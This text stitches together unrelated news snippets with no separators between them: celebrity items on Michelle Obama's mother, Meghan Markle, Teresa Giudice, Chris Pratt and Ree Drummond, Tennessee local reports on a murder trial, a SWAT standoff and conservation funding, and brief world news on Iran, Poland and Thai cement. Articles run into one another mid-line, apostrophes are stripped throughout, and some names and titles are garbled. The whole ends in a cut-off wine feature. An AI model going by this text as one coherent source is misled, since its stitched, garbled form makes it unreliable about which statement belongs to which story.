Michelle told actress Tracee Ellis Ross that Marian raised her children to become adults. She always talked to us like we had sense, CNBC recounts. She never used baby talk.

Marian is also the reason for Michelles success. The mother that I am today is a direct result of Marian Robinson, Michelle said. My mom is one of the smartest people with just plain old common sense. The thing she always said that I do remember is that, she told me and my brother, I wasnt raising children. I was raising adults.'

But this is moms favorite child

Michelle and her brother Craig told Good Morning America that Craig is Marians favorite. I am the First Lady but my mother is like, When is Craig coming? Michelle told GMA host Robin Roberts. Im like, I live in the White House. What more do I have to do? Then Craig chimed in, I am the favorite.

Michelle admits she had her brother help convince Marian to move to the White House to help with her daughters. My mom, she is not the sort of intrusive in-law. She would never want to even stay over and babysit our kids. Shed go home, he said. She really didnt want to join them in the White House for that reason.

Then he sweetened the deal. I just sort of positioned it like, you will helping your granddaughters out, number one, and if you move into the White House, then Ill come to visit you more.

This recent text exchange says it all

With all her accomplishments and accolades, Marian will always see her daughter as being her child. Michelle hilariously shared a text exchange that proves her mom can still put her in her place.

Michelle shared the exchange on Instagram and wrote, When your mom doesnt think youre a real celebrityTonight in Phoenix, I shared this text thread from my mom from #Grammys night, and I just had to share it with all of you.

Marian wrote, I guess you were a hit at the Grammys. Did you meet any of the real stars or did you run right after you were done? Michelle responded, I told you I was going to be on it. Michelle reminded her mom that she was kind of a star too to which Marian responded, Yeah. Mic drop.

Check out The Cheat Sheet on Facebook!As Meghan Markles due date draws near, fans have questions about what she and Prince Harry will be like as parents and how they will choose to raise their baby. While that remains to be seen we do know that their child will be brought up much differently than Prince William and Kate Middletons children.

Here are some ways the Duke and Duchess of Sussex will raise their baby that differs from how the Duke and Duchess of Cambridge have raised their kids. Plus, the biggest reason why Baby Sussexs upbringing will be nothing like their royal cousins.

Meghan Markle and Prince Harry | Chris Jackson-Pool/Getty Images

Wont be raised behind palace walls

By now, most people know that Prince Harry and Markles son or daughter will not be growing up with the Cambridge children at Kensington Palace in London.

The couple has decided to move away from the city and bring their child up at Frogmore Cottage on the Windsor Estate.



Wont be seen in public as much

Prince William and Middletons oldest children have been photographed in public several times, however, the duke and duchess youngest son, Louis, has been seen far less. Its believed that Markle and Harry want the latter for their child as well.

Meghan Markle rests her hand on her stomach as she walks with Prince Harry. | Chris Jackson/Getty Images

While Meghan and Harry no doubt understand there will be intense public interest in their son or daughter they wont parade him or her out as a royal trophy and will instead keep their public appearances to an absolute minimum, said OK! Magazines royal editor Laura Hills.

Wont have a royal title

The former actress and her husband also decided that they do not want their little one to have a regal title like the Cambridge children all have.

At the moment, Harry and Meghan are saying that they dont want a title for their baby, ABC Royals Contributor Imogen Lloyd Webber explained in the documentary titled When Kate Met Met William: A Tale Of Two Lives. As a result, this baby is unlikely to ever have his or her royal highness prince or princess title and they will be expected to work for a living.

Wont have as many expectations

Prince Harry and Meghan Markle | Saeed Khan/AFP/Getty Images

The biggest reason why their babys life will be so much different is because of the childs place in the line of succession to the throne.

Unlike Prince George, Princess Charlotte, and Prince Louis who fall in line only behind their father and grandfather, its safe to assume that Markle and Harrys son or daughter wont ever be king or queen. That said, their child wont have anywhere near the same amount of expectations placed on them as the Cambridges.

While their child will always be a senior member of the royal family and expected to attend big family events and represent them when required, they will have the freedom to go on to have a career of their own if they wish, just like Princess Eugenie and Princess Beatrice have done, Hills explained.

She added, With so much distance from the throne theyll be allowed to break away from some of the stricter royal conventions and have more freedom to decide which direction their life takes than their cousins.

Read more: Is Meghan Markle Having Twins?

Check out The Cheat Sheet on Facebook!Teresa Giudices life has been a whirlwind for the past couple of years. She spent time in jail, and now her husband is currently serving his sentence. However, he is set to be released this year, and a judge has ordered his deportation. But what will happen with Teresas kids?

Teresa Giudice with her four daughters | Teresa Giudice via Instagram

Teresa and Joe Giudice were convicted of several crimes back in 2013

The couples financial problems date all the way back to 2009, when they built a massive mansion in Montville Township, New Jersey. The two filed for bankruptcy in 2009 but withdrew their petition in 2010. But in 2013, the two were charged with conspiracy to commit fraud, including wire fraud, mail fraud, and bankruptcy fraud. The two reportedly lied on loan applications, too. In 2014, both were convicted on several counts of fraud and each sentenced to prison time.

Teresa served her sentence first, and Joe has been serving his for nearly three years

The judge allowed the couple to serve staggered prison sentences. The general assumption was that the two both had to go to prison, but they could do it at different times so one of them would be able to care for their four young daughters. Teresa served her sentence first; it was set to be 15 months. However, she proved remorseful of her actions and behaved well during her sentence, so she was released after only 11 months. She was released in December 2015, just in time to spend the holidays with her family. In early 2016, Joes sentence began. Since then, Teresa and the girls have been traveling out to Pennsylvania to see him whenever they get a chance.

A judge ordered Joes deportation following his release later this year

In October 2018, Joe Giudice had a hearing to learn whether or not he would be deported. Joe is originally from Italy and moved here before he turned two. The judge ruled that Joe would be deported as soon as his sentence ends in August. Teresa said that her husband and daughters were very upset by the news. They submitted paper work to appeal the deportation; now, its a waiting game.

Melissa Gorga, Teresas sister-in-law, said she doesnt believe Teresa will move to Italy

Melissa Gorga, the sister-in-law of Teresa and a co-star on Real Housewives of New Jersey, told Us Weekly that she doesnt think Teresa will move to Italy if Joe ends up being deported. Teresa was born in the U.S., and this is where her home has always been (as well as her daughters home), so it makes sense that she wouldnt want to uproot her life and leave. However, Melissa Gorga said time will tell and the family doesnt know what will happen yet.

Sources say the couples four daughters will continue living with Teresa in the United States

If Teresa stays in the United States, it will likely be to try and keep her daughters lives as normal as possible. According to reports, a source close to the Bravo star says she plans on keeping the girls if Joe does end up being sent back to Italy. And the girls reportedly do not want to move to Italy. Who can blame them? All four were born and raised in the United States and none of them have even finished their schooling yet. However, how the family will keep up a relationship with Joe living so far away has yet to be determined. There is still time for Joes appeal to be decided in his favor, so the family cant plan too far ahead yet. But if Joe does end up being deported, it doesnt look like his daughters will follow him to Europe.

Check out The Cheat Sheet on Facebook!Sarah, Duchess of York | YUI MOK/AFP/Getty Images)

Duchess of York Sarah Ferguson has had enough of the bullying that Kate Middleton and Meghan Markle have endured  and is quite outspoken about the matter, referring to social media as a sewer.

Ferguson knows all too well the effects of this bullying

The Duchess of York is, unfortunately, all too familiar with tabloid attention, as she has been the subject of many articles over the years. Most notably, the media tried to drum up a feud between Ferguson and Princess Diana.

Sarah Ferguson wants the bullying to stop

In a letter she wrote for Hello! Magazine, Ferguson took aim at social media while discussing the treatment of Kate Middleton and Meghan Markle. Often, Middlelton and Markle are on the receiving end of hateful trolls and online abuse.

In her letter, Ferguson writes: Its time to confront head on the fact that much of social media has become a sewer Take a look at any website, and youll see extraordinarily abusive comments aimed not only at people in the public eye but also other internet users.

She continued: Bullying, sniping, bitching, even the most appalling sexism, racism and homophobia are commonplace  it seems that online, anything goes.

Fergusons words ring true about creating untrue rivalries

The Duchess of York touched on her relationship with the late Princess Diana, as she shared in the letter: Women, in particular, are constantly pitted against and compared with each other in a way that reminds me of how people tried to portray Diana and me all the time as rivals, which is something neither of us ever really felt.

While Ferguson didnt reference the Duchess of Cambridge and the Duchess of Sussex, royal contributor Imogen Lloyd Webber told GMA: She absolutely is referring to the treatment of Meghan and Kate. Certainly there are parallels between the relationship that Kate and Meghan have and Diana and Fergie had.

Additionally, Emily Nash, Hello! magazines royal correspondent, told GMA: Its safe to say that when the Duchess of York and the Princess of Wales were around, social media didnt exist and this was always being played out in the newspapers.

Nash further touched on social media trolls, explaining: Nowadays we are seeing something very similar online with their fans pitted against each other.

Kensington Palace has stepped in to remove hateful comments

While its impossible to stop trolls from spreading their hate, Kensington Palace aides are involved with moderating social media posts and deleting any violent, sexist, and/or racist comment meant for Markle and Middleton..

Nash further remarked that many of the comments are very petty, including a lot of body shaming and criticizing how they walk, how they look  and a lot of this is coming from women. Meghan is a newcomer so there is a lot more scrutiny on her.

She added: It feels like it has reached a tipping point now and it cant go on like this.

Fergusons letter supports #HellotoKindness

Fergusons letter is the latest effort to support Hello! magazines #HellotoKindness campaign, which seeks to champion positivity online. Those who want to post a comment online should ask themselves these questions first: Is it friendly? Is it kind? Would you say it in real life?

Ferguson noted: Lets all try to think before we post. Lets all try to treat each other a little more gently. Before starting an argument online, take a deep breath and try to respect someone elses position. Where we see others behaving unacceptably, lets call it out. Its an old motto, but a good one: if you cant say anything nice, dont say anything at all.

In the letter, Ferguson notes: I believe that its time to take a stand. This isnt about free speech. The truth is, its not acceptable to pit women against one another all the time. Its not acceptable to troll other people viciously online.Did you hear the news?! Chris Pratt just won a major award. Dont worry, you didnt miss something at the latest awards show. In fact, Pratts award has nothing to do with acting at all. You could even say that the award belongs to someone else. Who? Well his ewe Cacao, of course!

Chris Pratt | Gregg DeGuire/Getty Images

Cacao took home the blue ribbon

Recently, Pratt took to Instagram and boasted about his latest win, I hate when celebrities brag on here but I have to..Our ewe (female sheep) named Cacao just took home a blue ribbon at Fiberpalooza [sic]!!!! Boom chic-Cacao cao! The ewe took home first place at the Washington State University Country Living Expo Fleece and Fiber Palooza.

Pratt joked on Live with Kelly and Ryan, My role in Fallen Kingdom: Jurassic World 2 didnt get an Oscar nom but my prize-winning Romney sheep took her a blue ribbon at Fiberpalooza. So were very happy.

The actor has a bustling farm full of animals

The fact that Pratt has an enormous amount of farm animals should come as no surprise to anyone who follows the star on Instagram. Pratt has previously posted pictures of his sheep and other animals on his account. Last year he posted a video of his son, with ex-wife Anna Faris, playing in the fields with the sheep, captioning, I look at these sheep and I see myself. I see us. I see animals with spirits mirroring their master

Pratt told Ryan and Kelly that at any given time he has 30+ pigs, 160 or more sheep, and 60 chickens. He raises the animals on a farm in an undisclosed location in Washington state. Pratt grew up in Lake Stevens, Washington.

Pratts not the only one raising animals

As Rippa pointed out, the Guardians of the Galaxy star isnt the only one in the sheep raising business, fellow actor Jeffrey Dean Morgan also has his share of animals. Rippa told Pratt that she thinks that Pratt and Morgan share a common interest and should be friends. Pratt quipped, It sounds like we should be friends or either mortal enemies. Depends on how competitive he is.

Like Pratt, Morgan has more than just sheep on his farm. In December the Walking Dead star made the news for adopting Jack and Diane, a donkey and emu who had fallen in love at a Charlotte animal rescue. According to the Poughkeepsie Journal, the actor found out that the pair was in need of a home through social media. Morgan responded that he would be glad to take them in and the rest was organized through emails.

Pratt maintains a full-time home in LA

Though the movie star has a large farm and animals in his home state of Washington, Pratt just recently purchased a home in LA with fiance Katherine Schwarzenegger. The two purchased a home in the same neighborhood as Pratts ex, Faris. The move was reportedly made to comply with the terms of the former couples divorce settlement. Pratt and Faris share a six-year-old son. The agreement states that the parents must reside within five miles of each other.

How often does the star visit his ranch?

Pratts busy filming schedule and custody schedule mean that the actor spends most of his time in LA. But the actor tries to get away to his San Juan farm as much as he can. In 2016, after a grueling 14 months of filming, the actor took his family on a six-month break and spent time at the farm. He told People Magazine they spent a lot of time fishing, crabbing, and having fires, calling the trip the dream summer that weve all been waiting for.Pioneer Woman Ree Drummond built a growing empire in her small hometown of Pawhuska, Oklahoma. The Food Network Star has enjoyed overwhelming success that led to incredible wealth. Here are all the ways Pioneer Woman Lee Drummond makes her money.

Walmart collection and food line

Drummond has a home collection and food line at Walmart. Her home collection includes cookware, bedding, furniture, home decor, and more. If you love floral designs, youre in luck. A lot of Drummonds dishware is full of bright florals unique patterns. Walmart also announced a collaboration with Drummond on a prepared foods line. Everything $7 or less and is divided into three categories (bowls, comfort food staples, and sides).

Ree Drummond Barbie doll

Drummonds success became even more evident after Mattel chose to model a Barbie doll after her. The Ree Drummond Barbie doll, which is packaged as the Barbie Pioneer Woman Kitchen Playset, is dressed in blue jeans, a floral shirt, and brown cowboy boots. However, Drummond says the doll had a different look when she saw the first version, so she sent it back. It was originally wearing a T-Shirt and sneakers, reports Delish. You can own your very own Pioneer Woman doll for $44.88 at Walmart.

Blog

Ree Drummond attends The Pioneer Woman Magazine Celebration with Ree Drummond at The Mason Jar in New York City. | Monica Schipper/Getty Images for The Pioneer Woman Magazine

The Pioneer Woman started her blog in 2006. Her original intention was to connect with others and write as a way to enjoy some me time, but the blog became so successful that it developed into much more.After she started posting recipes and stories about farm life, interest in the site grew.Fans flocked to the site, and by 2010, Drummond was earning $1 million from her blog, reports The New Yorker.

Hotel

The Food Network star opened the Boarding House, an eight-room hotel, in 2018. Each of the eight rooms has a different theme. Drummond said her husband, Ladd Drummond (affectionately referred to as The Marlboro Man), was the main person behind the hotel project.

Ree Drummonds Restaurants

Drummond knows it can be hard for visitors to find a good place to eat, so she went ahead and solved that problem by opening a few restaurants. If youve always wanted to try Drummonds cooking, now you can. The Pioneer Woman has restaurants in her hometown of in Pawhuska, Oklahoma. She has a bakery, deli and retail store called The Mercantile (its just down the street from her hotel), and a pizzeria named P-Town. She also has plans to open a steakhouse.

Books and magazine

Ree Drummond speaks onstage at Hearst Magazines Unbound Access MagFront at Hearst Tower on October 17, 2017 in New York City. | Bryan Bedder/Getty Images for Hearst

Drummond is an avid writer. She released several books throughout the years. Her first book, titled The Pioneer Woman Cooks: Recipes from an Accidental Country Girl, was released in 2010. After that, she wrote The Pioneer Woman: Black Heels to Tractor Wheels  A Love Story. Drummond later branched out and began writing childrens books. Her first book, titled Charlie the Ranch Dog, was released in 2011. The Pioneer Woman Magazine was released in 2017.

Ree Drummonds net worth

Ree Drummond has an estimated net worth of $50 million, according to Celebrity Net Worth.

Check out The Cheat Sheet on Facebook!Meghan Markle has quite the media frenzy surrounding her. As the duchess prepares for the arrival of her first child, shes had to deal with an onslaught of family drama namely from her father Thomas Markle and half-sister, Samantha Markle. The former actress has also had to deal with constant rumors and bullying from social media trolls and the press.

When Markle first began to step into her new role in the British Royal Family she had to deal with rumors that she was difficult to deal with. Several changes in her staff including the resignation of longtime employees have also raised concerns. Now, people close to Markle have had enough with the rumors and theyve come forward to share how kind and thoughtful the duchess truly is.

How does Meghan Markle thank her royal staff?

Markle and Prince Harry have relentless and demanding schedules. In addition to their packed calendars the Duke and Duchess of Sussex are also preparing to move from their 2-bedroom cottage at Kensington Palace to their massive estate at Frogmore House. From moving logistics, coordinating royal tours, the Markle family PR crisis, and even their wardrobes their royal staff must handle all of the nitty-gritty details. As a result, the duchess makes sure to always take the time to thank her royal staff.

Recently, the duchess left a gift for the guards at Kensington Palace. When asked about the gift boxes that lined her home at Nottingham Cottage  Markle explained, Theyre hand warmers. Every time it gets cold like this, I take them to the guard stations. The guards are standing at their posts, and I dont want the guys to be cold.

Meghan Markle has always been thoughtful

A long-time friend and former co-star of Markles revealed that the duchess has always gone out of her way to show her appreciation to others. She was kind not just to the cast on the set of Suits, but also to the crew. She often boosted the mood by having things like gourmet burgers delivered to set. In an interview with People, the anonymous friend revealed, Its the same stuff she does with her office at [Kensington Palace] now. I came by there one day, and she had ordered an incredible ice-cream and sorbet stand for the office. They were remarking how it was the best day of work ever. It warmed my heart to see her just continuing to be her and bring her style to the U.K.

Why has Meghan Markle been called difficult to work with?

Though Markle isnt difficult her work ethic has certainly taken some getting used to for many of the palaces staff. After all, anytime there is a new change  its going to take some time to adjust. Daily Mail reported, It is said palace staff have never experienced anything remotely like Meghans formidable work ethic, matched only by the incessant stream of ideas about how to shape her role. Though the aides see her enthusiasm as well-meaning, her up and at em West Coast energy is an uncomfortable fit with the more formal ethos of some of the palace staff.

Check out The Cheat Sheet on Facebook!Governor Bill Lee announced the Future Workforce Initiative to increase science, technology, engineering and mathematics (STEM) training in K-12 schools as part of his first-year legislative agenda for education.

Our agenda advocates for increased access to career and technical education for K-12 students and a key part of this includes prioritizing STEM training, said Governor Lee. The Future Workforce Initiative is a direct response to the emerging technology industry and making sure our students are first in line to be qualified for technology jobs.

This investment in STEM-focused early college and career experiences supports the Tennessee Department of Educations Tennessee Pathways Certification process, as well as the STEM School Designation partnership with groups like Tennessee STEM Innovation Network and Code.org.

The Future Workforce Initiative aims to put Tennessee in the top 25 states for job creation in the technology sector by 2022 through three areas of emphasis including:

Launching new CTE programs focused in STEM fields with 100 new middle school programs and tripling the number of STEM-designated public schools by 2022.



Growing the number of teachers qualified to teach work-based learning and advanced computer science courses through STEM teacher training and implementation of K-8 computer science standards.



Expanding postsecondary STEM opportunities in high school through increased access to dual credit, AP courses and dual-enrollment.

58 percent of all STEM jobs created in the country are in computing but only 8 percent of graduates study computer science in college, said Governor Lee. By exposing Tennessee students to computer science in their K-12 careers we are ensuring our kids have every chance to land a high-quality job.



In his presentation to the legislature, the governor will recommend a $4 million investment to implement the Future Workforce Initiative.

I look forward to working closely with the legislature to ensure every student has access to a high-quality career, and to get there well need to make STEM education a reality for students across Tennessee, said Lee.Pictured, left to right: Lucas Monroe, Marketing and Todd Woodall, senior mechanical engineer, Card-Monroe; Dr. Rebecca Ashford, president, Chattanooga State; Charles Monroe, CEO, Allen Neely, vice president of Operations, and Brad Card, president, Card-Monroe; with students Jonah King, Harrison Blea, Drew Beach and Jennifer Sanchez

Chattanooga State President Rebecca Ashford officially welcomed local dignitaries, Card-Monroe officials, faculty, staff and students on Feb. 6 as Chattanooga State Community College recognized the Card-Monroe Corp. for its $100,000 donation to the Chattanooga State Foundation.

This gift helped to equip a state-of-the-art learning lab designed to provide hands-on training for current and future students at Chattanooga State. The new Card-Monroe Manufacturing Lab is housed in the colleges Center for Engineering, Technology, Arts & Sciences (CETAS) building.



We think partnerships with places like Chattanooga State have made us successful by providing to us employees who have come in and been a part of the CMC success, and we are so thankful for the long-lasting relationship we have here at Chattanooga State and for your training of the future employees for manufacturing, stated Brad Card, president, Card-Monroe Corp.



Addressing Polytech Academy students who will benefit from the new Card-Monroe Lab at Chattanooga State, Card-Monroe's Vice President of Operations Allen Neely said, I am a graduate of a vocational education program, and skilled training allows us to be a provider when you are ready to have a family. The labor market is short, and skilled labor is in super high demand. There are good paying jobs and work in a lot of different industries. Our partnership is strong with Chattanooga State in all areas, and we are excited to see what happens with Polytech, and excited about the new pathways for students.

For more information, call the Engineering & Information Technologies Division at 423-697-4434.Members of the Lee University Symphonic Band will host an Evening of Swing on Saturday at 8:30 p.m. in the Mayfield Annex gym. The event will include a live band featuring members of Lees Symphonic Band, free food, and door prizes.

We are working hard on getting the best of the best for our Evening of Swing, and we want everyone to enjoy this night, said event coordinator Hannah DeVine, a junior public relations major and music minor. It is right around Valentine's Day, which makes it the perfect, affordable date night. We have awesome giveaways from local donors and plenty of food.

A select group of musicians, featuring Concerto Competition winners Kyle Dykes and Tim Ferguson, as well as other musicians from Symphonic Band, will perform classic Swing Band charts from the Big Band era, as well as other standards. During the performance, swing lessons will be provided by members of Unity Dance, a local dance troupe.

You do not want to miss out on the fun, said Dr. Mark Bailey, Symphonic Band conductor and professor of music at Lee. All proceeds will help send the band to Korea. Come join us for a night of Swing."

The Symphonic Band has performed at churches across the country and at conferences such as the Christian Instrumentalists and Directors Association National Conference and the Atlanta Instrumental Expo Conference, the largest instrumental church music conference in America. It has also performed at numerous music festivals, appeared on television and radio, headlined important university events, and toured 14 foreign nations around the world.

The Evening of Swing will help to raise money for the Symphonic Bands mission trip to South Korea this coming May. Tickets are $5 each and can be pre-purchased in the Paul Conn Student Union prior to the event or at the door.

Food is provided by Jimmy Johns, Jersey Mikes, and the Great American Cookie Company. Door prizes from BonLife, Cupcake Divas, Five Points Cafe, and Smoothie King, among others, will be given.

For more information about Symphonic Band or the Evening of Swing, contact the School of Music at music@leeuniversity.edu or Ms. DeVine at (256) 466-4749.The East Ridge detective who for years looked into a 2000 murder in which a woman was strangled and put in a garbage can said he never heard from a woman who is now a star witness for the prosecution.

J.C. Johnson, who retired last year, said when asked about Mary Ruth Boyd, "That name does not sound familiar."

Ms. Boyd testified Tuesday in the first-degree murder trial of Jason Sanford that she contacted East Ridge Police twice with her information and never heard back.

Detective Johnson also said years ago he felt he had enough proof to convict Sanford, but he said the district attorney at the time declined to prosecute.

Sanford, who had returned to his home state of Michigan shortly after the body of his girlfriend was found stuffed in a trash can in Spring Creek in mid-June 2000, is standing trial in the courtroom of Judge Tom Greenholtz.

The Cold Case Unit formed by District Attorney Neal Pinkston revived the case in 2016 and soon made the arrest of Sanford in the strangulation death of 21-year-old Sarah Davis Perry. DA Pinkston is one of the prosecutors at the trial.

Mary Ruth Boyd told the jury that she was cleaning out her car when an older model white truck drove by very slowly. She said at first she thought it was her brother because he had a similar truck.

She said there was a garbage can in the back of the truck with the lid partly off.

Ms. Boyd said she got a good look at the driver because she said he stared at her as he passed and went on to a dead end, then again as he drove back by slowly.

She said, "Something didn't seem right."

The witness said after the truck passed she proceeded on to the grocery store and spotted the truck again. She said it was pulled off the side of the road where a bridge crosses Spring Creek. She said the garbage can was no longer in the truck, but she could see marks where it had been dragged under the bridge.

Ms. Boyd said when she heard there had been a murder in East Ridge she called East Ridge Police "and told them what I had seen. But no one ever contacted me." She said she was haunted by the incident and felt guilty not telling what she knew, so she called East Ridge Police again in 2004. She said once again no one called or came to interview her.

She said at the time "I wanted to know if they had ever caught the man."

Ms. Boyd said it was only within the past few months that someone contacted her about the case -investigator Kay Baker. She told her the story and was shown a photo of Sanford. She said she told the investigator, "You've got your man."

In the courtroom, Ms. Boyd said she could make a positive identification of Sanford as the man at the creek with the garbage can. She said, "It's the gentleman sitting right there."

She said, "I'm upset that he got by with it for 18 years. What did the kids get? What did the mother get?" Ms. Perry had children ages one and four.

Detective Johnson said marks were found in the creek that matched that of a two-wheeled garbage can being wheeled under the bridge. He said there was also a spot that had foot prints. He said a cast of the prints was made and sent to the FBI, but did not yield any usable information.

He said when he and another East Ridge officer went to Michigan to interview Sanford "he did not admit to any involvement, but he didn't adamantly deny it either."

Questioned by defense attorney Johnny Houston, he said the victim had earlier lived in Georgia with Sanford and his cousin. He said it may have been correct that the cousin disliked Ms. Perry because he wound up getting charged with drugs in Georgia.

It was also testified that Ms. Perry was at Valley Psychiatric Hospital until just a few days before her death. She left the facility over the advice of staff, the records showed.

Prosecutor Crystle Carrion told the jury that a cousin of Sanford had given a statement that around the time of the murder that Sanford asked him for money and told him, "I've killed Sarah and I need to get out of town."

She said Sanford got on a Greyhound bus and left to return to Michigan on a Greyhound bus the night after he allegedly killed her.

Defense attorney Amanda Dunn said the cousin, who has since died, gave four different versions and they were all different.

She said Sanford returned to Michigan, but detectives had no trouble finding him when he was interviewed in the wake of the murder and then by the Cold Case Unit.

Attorney Dunn also said there had been multiple suspects, not just Sanford.

The jury was told that Ms. Perry had some mental health and drug use issues.

Peggy Ferguson, who lived next door to Ms. Perry at the time, said she often heard the couple arguing.

She said on a night around the time of the murder she saw Sanford outside the house pacing back and forth nervously.

Dusty Fine said the garbage can came from his family's nearby auto body shop. He said he worked late on a personal vehicle and forgot to bring the can in. He said it was gone the next morning.

Justin Weathers said he was 12 at the time and was hunting crawdads, fishing and riding bikes at "The Whoops" with a friend when they found the body in the trash can. He said it was the friend who went up to the garbage can under the bridge at Springvale Road.

He said when the friend lifted the lid and saw the body of a woman who was naked from the waist up "he immediately started to holler. We took off running. Then I made him go back and get my bike." He said they raced back to the friend's grandmother's house and she called police.A Hixson man was arrested after an eight-hour SWAT standoff on Tuesday.

Dwight Keith Land, 48, was finally taken into custody through the use of a police dog.

Earlier, tear gas had been lobbed into the home.

Land had barricaded himself in the home, bringing a large police presence in the Memphis Drive area and the evacuation of some homes and one business.

Land barricaded himself in December as well and that standoff lasted two hours.

Land faces new charges as well as violation of probation for assault, reckless endangerment and possession of drug paraphernalia.United States Senator Lamar Alexander on Tuesday said Senate passage of a bill to permanently reauthorize the Land and Water Conservation Fund (LWCF) will help ensure Tennessees beautiful lands, water resources and recreation areas are protected and preserved for future generations. Over the past 50 years, the LWCF has provided Tennessee over $76 million for the state grant program; $92 million for federal land acquisition; and $33 million for the Forest Legacy program within the state.

Senator Alexander said, The Land and Water Conservation Fund has played a large role in protecting Tennessees outdoors for over 50 years, and in total, the LWCF has provided over $200 million to conservation and outdoor recreation efforts in Tennessee. Im glad the Senate voted to permanently reauthorize the LWCF because it will help preserve our states beautiful land, water resources and recreation areas so future generations have the same opportunities to enjoy them as we have.



Senator Alexander is a cosponsor of the Natural Resources Management Act, which included the provision to make the Land and Water Conservation Fund. The legislation passed the Senate today by a vote of 92-8. The U.S. House of Representatives will now consider the legislation.

The Land and Water Conservation Fund was created to help preserve, develop and maintain access to outdoor recreation across the United States. The LWCF receives nearly all of its revenue from offshore oil and gas drilling and other activities that deplete natural resources. This revenue is then used to provide grants to states and funds conservation efforts by the National Park Service, Bureau of Land Management, Fish and Wildlife Service and the Forest Service.

Over the past five decades, the LWCF has provided a total of $208.5 million for Tennessee conservation and outdoor recreation, including the following state and federal land acquisition projects:

 Appalachian Trail and Rocky Fork: In its first 50 years, the LWCF helped protect nearly 200,000 acres within the Appalachian National Scenic Trail corridor which spans from Georgia to Maine. Rocky Fork, a nearly 10,000 acre tract that serves as Upper East Tennessees gateway to the Appalachian Trail, was protected in part due to funding from the LWCF. Today, 2,000 acres of the 10,000 acre tract have been acquired by the state to create the Lamar Alexander Rocky Fork State Park.

 Cumberland Mountains and Walls of Jericho: The Forest Legacy Program, which receives its funding from the LWCF, provided a majority of the funding necessary to conserve a nearly 9,000 acre tract in Tennessee known as the Walls of Jericho. The Walls of Jericho  which is also known as the Grand Canyon of the South  includes a geological feature that forms a large bowl shaped amphitheater. The nearly 9,000 acre tract is now managed by the Tennessee Wildlife Resources Agency as the Bear Hollow Mountain Wildlife Management Area and the 750 acres surrounding the gorge and amphitheater are managed by the Tennessee Department of Environment and Conservation as the Walls of Jericho State Natural Area.

 John Tully State Forest: Acquisition of over 2,000 acres  to create the John Tully State Forest  from Anderson-Tully, a Memphis-based timber company, was funded in part by the Forest Legacy Program. John Tully State Forest was only the second state forest established in the last half-century and provides some of the states best hunting and fishing lands.The US Justice Department charged a former Air Force intelligence official Wednesday with spying for Iran, saying she exposed a fellow US agent and helped the Revolutionary Guard target her former colleagues with cyber-attacks.

US officials said Monica Witt, who worked for years in US Air Force counterintelligence, had an ideological turn against her country and defected in 2013, turning over information on US intelligence operations against Tehran.

It is a sad day for America when one of its citizens betrays our country, said Assistant Attorney General John Demers, announcing the indictment, Al-Arabiya reported.

This case underscores the dangers to our intelligence professionals and the lengths our adversaries will go to identify them, expose them, target them, and, in a few rare cases, ultimately turn them against the nation they swore to protect, he said.The United States plans to significantly increase its troop numbers in Poland, the U.S. ambassador to Warsaw Georgette Mosbacher said.

According to Mosbacher, Americas 4,000-strong troop presence in Poland would increase but stopped short of saying a permanent base would be established, the Financial Times reported.

Asked whether the increase would run into the hundreds or thousands, Mosbacher said: It will be significant. It passes the hundred mark, the hundreds mark.

It was noted that Polish officials have been lobbying hard to persuade the U.S. to establish a permanent military base in their country, and last year offered to provide up to $2bn towards funding it.Private construction to increase Thailand's cement demand

13 February 2019

Cement demand in Thailand is forecast to increase in the next few years after a recovery in the private construction sector, says Fitch Ratings.



Fitch Ratings expects high-single-digit growth for cement demand in Thailand in 2019, while cement sales data from the Office of Industrial Economics in 3Q18 reported 3.7 per cent YoY growth and a further 2.8 per cent growth in 4Q18. Domestic cement demand for all of 2018 remained low at 0.8 per cent growth YoY.



"Cement consumption should rise from a pick-up in residential property development, mass-transit extensions and a strong pipeline of new commercial buildings, including several mega mixed-use projects in key Bangkok city areas. This should not only boost sales volume, but also improve product prices and operators' profitability," according to Fitch Ratings. "Fitch expects the profit margins of cement and building materials businesses to gradually improve over the next three years.



"Oversupply in the domestic market and a profitability gap between domestic sales and exports are driving local cement producers to expand regionally. While other operating markets have also seen challenging conditions, similarly to Thailand, diverse cash flow sources should help reduce cash flow volatility across the business cycle and single-market concentration risks over medium to longer term," the report summarises.



Private construction accounts for 60 per cent of Thailand's cement consumption. As this sector regains momentum Fitch predicts profit margins of cement companies to rise over the next three years.



In addition, more than THB3trn (US$98.5bn) in government mega projects will be spent in 2018-26, especially on the mass transit system.

Published underThe United States sanctions on Venezuelan crude complicate its effort to bring Irans oil exports to zero. According to some experts, to avoid a price spike, Washington will likely be forced to allow some buyers to continue purchasing Iranian oil, The Wall Street Journal writes.

The U.S. administration banned the purchase of crude from the Venezuelan government of Nicolas Maduro in late January, just two months after it implemented an embargo on Irans oil exports. At the time, the White House issued waivers to eight nations, allowing them to continue purchases of Iranian oil until April.

A U.S State Department official noted that even with the Venezuelan oil sanctions firmly in place Washington's goal remains to "get to zero oil purchases from Iran as quickly as possible."Please log in, or sign up for a new account and purchase a subscription, or activate your access, to continue reading.Going out to eat? Choose a restaurant that keeps food safety on the menu. Here are some tips to protect yourself from food poisoning while eating out.

Tips to Avoid Food Poisoning While Eating OutThe U.S. and Poland have confirmed their joint stance against the Nord Stream-2 natural gas pipeline, U.S. Secretary of State Mike Pompeo said at a news conference following his meeting with Polish Foreign Minister Jacek Czaputowicz.

Poland has vigorously pursued a course to reduce its dependence on Russian natural gas," Pompeo said.

"We continue to work with Poland and other likeminded European allies and partners to stop Russias proposed Nord Stream 2 pipeline, which would undermine European energy and national security while also hurting Ukraine, the State Department website cited him as saying.

Czaputowicz also said that Poland thinks that the Nord Stream-2 does not contribute to energy security of Europe.Birthday wishes

Call 281-422-8302 or email david.bloom@baytownsun.com to wish someone a happy birthday. We will print your birthday wish on Page 2 of The Sun.

Happy Birthday WishesPhoto: theirishwino.com

Its Valentines Day tomorrow, and that means, for some, choosing a bottle of wine is a paramount part of the preparations.

There are many B.C wines I could suggest for the occasion, but instead I asked a handful of winery folks to tell me about their favourite bottle and why they love it.

These bottles are tied to memories, and thats really want counts, no matter the wine.

Jeff Del Nin, Winemaker, Road 13 Vineyards

Wine: Campbells Rare Muscat from the Rutherglen region of Victoria, Australia.

Why I love it: It is a fortified, and extremely old dessert wine that is aged for decades in a solera system.

The complexity and richness in the wine is mind-blowing, and it fills me with a sense of awe and respect that wines of such majesty and perfection exist in this world.

Drinking one of these wines always reminds me of the 10 years I lived in Australia and all of the dinner parties that ended with a Rutherglen Muscat and sticky date pudding.

Christie Mavety, Proprietor, Blue Mountain Vineyard and Cellars

